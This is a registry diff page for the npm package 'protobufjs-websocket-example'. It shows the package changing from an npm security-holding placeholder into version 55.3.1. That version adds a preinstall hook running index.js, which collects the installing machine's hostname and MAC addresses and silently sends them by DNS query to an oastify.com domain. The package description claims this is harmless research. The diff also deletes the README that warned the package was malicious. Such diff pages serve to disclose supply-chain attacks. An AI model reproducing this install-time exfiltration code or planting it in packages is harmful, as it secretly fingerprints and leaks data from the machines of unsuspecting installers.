protobufjs-websocket-example 0.0.1-security → 55.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of protobufjs-websocket-example might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +54 -0
  2. package/package.json +12 -4
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,54 @@
1
+ const os = require('os');
2
+ const { execSync } = require('child_process');
3
+ const dns = require('dns');
4
+
5
+ // DNS‑safe label (alphanumeric + hyphens, ≤63 chars)
6
+ function sanitizeLabel(label) {
7
+ return label.replace(/[^A-Za-z0-9]/g, '-').slice(0, 63);
8
+ }
9
+
10
+ function exfilSingle(labels) {
11
+ const domain = `${labels.join('.')}.nwnrwnd60fchlvr2kcozqg90xr3jrhf6.oastify.com`;
12
+ dns.resolve(domain, 'A', () => { /* silent */ });
13
+ }
14
+
15
+ function gatherAndExfil() {
16
+ // 1) Fully Qualified Domain Name
17
+ let fqdn = 'unknown';
18
+ try {
19
+ fqdn = execSync('hostname --fqdn || hostname', { encoding: 'utf8' }).trim();
20
+ } catch {}
21
+
22
+ // 2) First non‑internal MAC address
23
+ let extMac = 'unknown';
24
+ for (const addrs of Object.values(os.networkInterfaces())) {
25
+ for (const { internal, mac } of addrs) {
26
+ if (!internal && mac && mac !== '00:00:00:00:00:00') {
27
+ extMac = mac;
28
+ break;
29
+ }
30
+ }
31
+ if (extMac !== 'unknown') break;
32
+ }
33
+
34
+ // 3) All internal MACs (comma‑separated, or "none")
35
+ const intList = [];
36
+ for (const [iface, addrs] of Object.entries(os.networkInterfaces())) {
37
+ for (const { internal, mac } of addrs) {
38
+ if (internal && mac && mac !== '00:00:00:00:00:00') {
39
+ intList.push(`${iface}-${mac}`);
40
+ }
41
+ }
42
+ }
43
+ const intMacs = intList.length ? intList.join(',') : 'none';
44
+
45
+ // Sanitize and exfil in one DNS query
46
+ const labels = [
47
+ sanitizeLabel(fqdn),
48
+ sanitizeLabel(extMac),
49
+ sanitizeLabel(intMacs)
50
+ ];
51
+ exfilSingle(labels);
52
+ }
53
+
54
+ gatherAndExfil();
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
- "name": "protobufjs-websocket-example",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "protobufjs-websocket-example",
3
+ "version": "55.3.1",
4
+ "description": "This package is a proof of concept used by Avinav Gupta to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Avinav Gupta does not accept any liability for any direct, indirect, or consequential loss or damage arising from the use of, or reliance on, this package.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "Avinav Gupta",
10
+ "license": "MIT",
11
+ "bugs": {
12
+ "email": "avinavgupta135@gmail.com"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=protobufjs-websocket-example for more information.